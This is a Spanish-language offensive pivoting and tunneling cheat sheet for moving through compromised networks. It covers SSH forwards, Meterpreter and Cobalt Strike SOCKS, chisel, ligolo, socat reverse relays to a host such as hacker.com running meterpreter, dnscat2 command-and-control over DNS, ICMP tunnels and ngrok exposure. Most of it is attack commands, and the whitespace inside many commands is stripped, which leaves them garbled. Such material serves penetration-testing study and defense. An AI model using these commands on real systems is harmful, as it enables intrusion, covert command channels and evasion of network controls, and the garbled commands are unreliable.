ICMP y SYN escaneos no pueden ser tunelizados a través de proxies socks, así que debemos deshabilitar el descubrimiento de ping (-Pn) y especificar escaneos TCP (-sT) para que esto funcione.
Bash
Host -> Jump -> InternalA -> InternalB
# On the jump server connect the port 3333 to the 5985mknodbackpipep;nc-lvnp59850<backpipe|nc-lvnp33331>backpipe# On InternalA accessible from Jump and can access InternalB## Expose port 3333 and connect it to the winrm port of InternalBexec3<>/dev/tcp/internalB/5985exec4<>/dev/tcp/Jump/3333cat<&3>&4&cat<&4>&3&# From the host, you can now access InternalB from the Jump serverevil-winrm-uusername-iJump
SSH
Conexión gráfica SSH (X)
ssh-Y-C<user>@<ip>#-Y is less secure but faster than -X
Local Port2Port
Abrir nuevo puerto en el servidor SSH --> Otro puerto
ssh-R0.0.0.0:10521:127.0.0.1:1521user@10.0.0.1#Local port 1521 accessible in port 10521 from everywhere
ssh-R0.0.0.0:10521:10.0.0.1:1521user@10.0.0.1#Remote port 1521 accessible in port 10521 from everywhere
Port2Port
Puerto local --> Host comprometido (SSH) --> Tercera_caja:Puerto
ssh-issh_key<user>@<ip_compromised>-L<attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host#Examplesudossh-L631:<ip_victim>:631-N-f-l<username><ip_compromised>
Port2hostnet (proxychains)
Puerto local --> Host comprometido (SSH) --> Donde sea
ssh-f-N-D<attacker_port><username>@<ip_compromised>#All sent to local port will exit through the compromised server (use as proxy)
Reenvío de Puertos Inverso
Esto es útil para obtener shells inversos de hosts internos a través de una DMZ hacia tu host:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
Necesitas root en ambos dispositivos (ya que vas a crear nuevas interfaces) y la configuración de sshd debe permitir el inicio de sesión como root:
PermitRootLogin yesPermitTunnel yes
sshroot@server-wany:any#This will create Tun interfaces in both devicesipaddradd1.1.1.2/32peer1.1.1.1devtun0#Client side VPN IPifconfigtun0up#Activate the client side network interfaceipaddradd1.1.1.1/32peer1.1.1.2devtun0#Server side VPN IPifconfigtun0up#Activate the server side network interface
Puerto local --> Host comprometido (sesión activa) --> Tercera_caja:Puerto
# Inside a meterpreter sessionportfwdadd-l<attacker_port>-p<Remote_port>-r<Remote_host>
SOCKS
background#meterpretersessionrouteadd<IP_victim><Netmask><Session># (ex: route add 10.10.10.14 255.255.255.0 8)useauxiliary/server/socks_proxyrun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Otra forma:
background#meterpreter sessionusepost/multi/manage/autoroutesetSESSION<session_n>setSUBNET<New_net_ip>#Ex: set SUBNET 10.1.13.0setNETMASK<Netmask>runuseauxiliary/server/socks_proxysetVERSION4arun#Proxy port 1080 by defaultecho"socks4 127.0.0.1 1080">/etc/proxychains.conf#Proxychains
Cobalt Strike
SOCKS proxy
Abre un puerto en el teamserver escuchando en todas las interfaces que se puede usar para rutar el tráfico a través del beacon.
beacon> socks1080[+] started SOCKS4a server on: 1080# Set port 1080 as proxy server in proxychains.confproxychainsnmap-n-Pn-sT-p445,3389,598510.10.17.25
rPort2Port
En este caso, el puerto se abre en el host de beacon, no en el Servidor del Equipo y el tráfico se envía al Servidor del Equipo y de allí al host:puerto indicado.
La reversa de puerto de Beacon está diseñada para túnelizar tráfico al Servidor del Equipo, no para retransmitir entre máquinas individuales.
El tráfico está túnelizado dentro del tráfico C2 de Beacon, incluyendo enlaces P2P.
No se requieren privilegios de administrador para crear reenvíos de puerto reversos en puertos altos.
rPort2Port local
En este caso, el puerto se abre en el host de beacon, no en el Servidor del Equipo y el tráfico se envía al cliente de Cobalt Strike (no al Servidor del Equipo) y desde allí al host:puerto indicado.
Puedes descargarlo desde la página de lanzamientos de https://github.com/jpillora/chisel
Necesitas usar la misma versión para el cliente y el servidor
socks
./chiselserver-p8080--reverse#Server -- Attacker./chisel-x64.execlient10.10.14.3:8080R:socks#Client -- Victim#And now you can use proxychains with port 1080 (default)./chiselserver-v-p8080--socks5#Server -- Victim (needs to have port 8080 exposed)./chiselclient-v10.10.10.10:8080socks#Attacker
# Start proxy server and automatically generate self-signed TLS certificates -- Attackersudo./proxy-selfcert# Create an interface named "ligolo" -- Attackerinterface_create--name"ligolo"# Print the currently used certificate fingerprint -- Attackercertificate_fingerprint# Start the agent with certification validation -- Victim./agent-connect<ip_proxy>:11601-v-accept-fingerprint<fingerprint># Select the agent -- Attackersession1# Start the tunnel on the proxy server -- Attackertunnel_start--tun"ligolo"# Display the agent's network configuration -- Attackerifconfig# Create a route to the agent's specified network -- Attackerinterface_add_route--name"ligolo"--route<network_address_agent>/<netmask_agent># Display the tun interfaces -- Attackerinterface_list
Vinculación y Escucha del Agente
# Establish a tunnel from the proxy server to the agent# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attackerlistener_add--addr0.0.0.0:30000--to127.0.0.1:10000--tcp# Display the currently running listeners on the agent -- Attackerlistener_list
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that portattacker> socatOPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1TCP:127.0.0.1:3333
victim> socat.exeTCP-LISTEN:2222OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5#Execute the meterpreter
Puedes eludir un proxy no autenticado ejecutando esta línea en lugar de la última en la consola de la víctima:
Cree certificados en ambos lados: Cliente y Servidor
# Execute these commands on both sidesFILENAME=socatsslopensslgenrsa-out $FILENAME.key1024opensslreq-new-key $FILENAME.key-x509-days3653-out $FILENAME.crtcat $FILENAME.key $FILENAME.crt>$FILENAME.pemchmod600 $FILENAME.key $FILENAME.pem
Conectar el puerto SSH local (22) al puerto 443 del host atacante
attacker> sudosocatTCP4-LISTEN:443,reuseaddr,forkTCP4-LISTEN:2222,reuseaddr#Redirect port 2222 to port 443 in localhostvictim> whiletrue; dosocatTCP4:<attacker>:443TCP4:127.0.0.1:22 ; done# Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22attacker> sshlocalhost-p2222-lwww-data-ivulnerable#Connects to the ssh of the victim
Plink.exe
Es como una versión de consola de PuTTY (las opciones son muy similares a las de un cliente ssh).
Como este binario se ejecutará en la víctima y es un cliente ssh, necesitamos abrir nuestro servicio y puerto ssh para poder tener una conexión inversa. Luego, para redirigir solo un puerto accesible localmente a un puerto en nuestra máquina:
echoy|plink.exe-l<Our_valid_username>-pw<valid_password> [-p <port>]-R<port_in_our_host>:<next_ip>:<final_port><your_ip>echoy|plink.exe-lroot-pwpassword [-p 2222]-R9090:127.0.0.1:909010.11.0.41#Local port 9090 to out port 9090
Windows netsh
Port2Port
Necesitas ser un administrador local (para cualquier puerto)
netshinterfaceportproxyaddv4tov4listenaddress=listenport=connectaddress=connectport=protocol=tcp# Example:netshinterfaceportproxyaddv4tov4listenaddress=0.0.0.0listenport=4444connectaddress=10.10.10.10connectport=4444# Check the port forward was created:netshinterfaceportproxyshowv4tov4# Delete port forwardnetshinterfaceportproxydeletev4tov4listenaddress=0.0.0.0listenport=4444
SocksOverRDP & Proxifier
Necesitas tener acceso RDP sobre el sistema.
Descargar:
SocksOverRDP x64 Binaries - Esta herramienta utiliza Dynamic Virtual Channels (DVC) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de túnelizar paquetes sobre la conexión RDP.
En tu computadora cliente carga SocksOverRDP-Plugin.dll así:
# Load SocksOverRDP.dll using regsvr32.exeC:\SocksOverRDP-x64> regsvr32.exeSocksOverRDP-Plugin.dll
Ahora podemos conectar con la víctima a través de RDP usando mstsc.exe, y deberíamos recibir un mensaje diciendo que el plugin SocksOverRDP está habilitado, y que escuchará en 127.0.0.1:1080.
Conéctate a través de RDP y sube y ejecuta en la máquina de la víctima el binario SocksOverRDP-Server.exe:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Ahora, confirma en tu máquina (atacante) que el puerto 1080 está escuchando:
netstat -antb | findstr 1080
Ahora puedes usar Proxifierpara enviar el tráfico a través de ese puerto.
Proxificar aplicaciones GUI de Windows
Puedes hacer que las aplicaciones GUI de Windows naveguen a través de un proxy usando Proxifier.
En Perfil -> Servidores Proxy agrega la IP y el puerto del servidor SOCKS.
En Perfil -> Reglas de Proxificación agrega el nombre del programa a proxificar y las conexiones a las IPs que deseas proxificar.
Bypass de proxy NTLM
La herramienta mencionada anteriormente: RpivotOpenVPN también puede eludirlo, configurando estas opciones en el archivo de configuración:
Se autentica contra un proxy y vincula un puerto local que se reenvía al servicio externo que especifiques. Luego, puedes usar la herramienta de tu elección a través de este puerto.
Por ejemplo, reenvía el puerto 443.
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Ahora, si configuras por ejemplo en la víctima el servicio SSH para escuchar en el puerto 443. Puedes conectarte a él a través del puerto 2222 del atacante.
También podrías usar un meterpreter que se conecta a localhost:443 y el atacante está escuchando en el puerto 2222.
Establece un canal C&C a través de DNS. No necesita privilegios de root.
attacker> ruby./dnscat2.rbtunneldomain.comvictim> ./dnscat2tunneldomain.com# If using it in an internal network for a CTF:attacker> rubydnscat2.rb--dnshost=10.10.10.10,port=53,domain=mydomain.local--no-cachevictim> ./dnscat2--dnshost=10.10.10.10,port=5353
En PowerShell
Puedes usar dnscat2-powershell para ejecutar un cliente dnscat2 en powershell:
session-i<sessions_id>listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Cambiar DNS de proxychains
Proxychains intercepta la llamada gethostbyname de libc y canaliza la solicitud de DNS tcp a través del proxy socks. Por defecto, el servidor DNS que utiliza proxychains es 4.2.2.2 (codificado). Para cambiarlo, edita el archivo: /usr/lib/proxychains3/proxyresolv y cambia la IP. Si estás en un entorno de Windows, podrías establecer la IP del controlador de dominio.
Se necesita root en ambos sistemas para crear adaptadores tun y canalizar datos entre ellos utilizando solicitudes de eco ICMP.
./hans-v-f-s1.1.1.1-pP@ssw0rd#Start listening (1.1.1.1 is IP of the new vpn connection)./hans-f-c<server_ip>-pP@ssw0rd-vping1.1.1.100#After a successful connection, the victim will be in the 1.1.1.100
# Generate itsudo./autogen.sh# Server -- victim (needs to be able to receive ICMP)sudoptunnel-ng# Client - Attackersudoptunnel-ng-p<server_ip>-l<listen_port>-r<dest_ip>-R<dest_port># Try to connect with SSH through ICMP tunnelssh-p2222-luser127.0.0.1# Create a socks proxy through the SSH connection through the ICMP tunnelssh-D9050-p2222-luser127.0.0.1
ngrok
ngrokes una herramienta para exponer soluciones a Internet en una línea de comando.
&#xNAN;Exposition URI son como:UID.ngrok.io
Instalación
Crea una cuenta: https://ngrok.com/signup
Descarga del cliente:
tarxvzf~/Downloads/ngrok-v3-stable-linux-amd64.tgz-C/usr/local/binchmoda+x./ngrok# Init configuration, with your token./ngrokconfigedit
También es posible agregar autenticación y TLS, si es necesario.
Túnel TCP
# Pointing to 0.0.0.0:4444./ngroktcp4444# Example of resulting link: 0.tcp.ngrok.io:12345# Listen (example): nc -nvlp 4444# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
Exponiendo archivos con HTTP
./ngrokhttpfile:///tmp/httpbin/# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
Sniffing HTTP calls
Uso útil para XSS, SSRF, SSTI ...
Directamente desde stdout o en la interfaz HTTP http://127.0.0.1:4040.
Tunneling internal HTTP service
./ngrokhttplocalhost:8080--host-header=rewrite# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/# With basic auth./ngrokhttplocalhost:8080--host-header=rewrite--auth="myuser:mysuperpassword"
ngrok.yaml ejemplo de configuración simple
Abre 3 túneles:
2 TCP
1 HTTP con exposición de archivos estáticos desde /tmp/httpbin/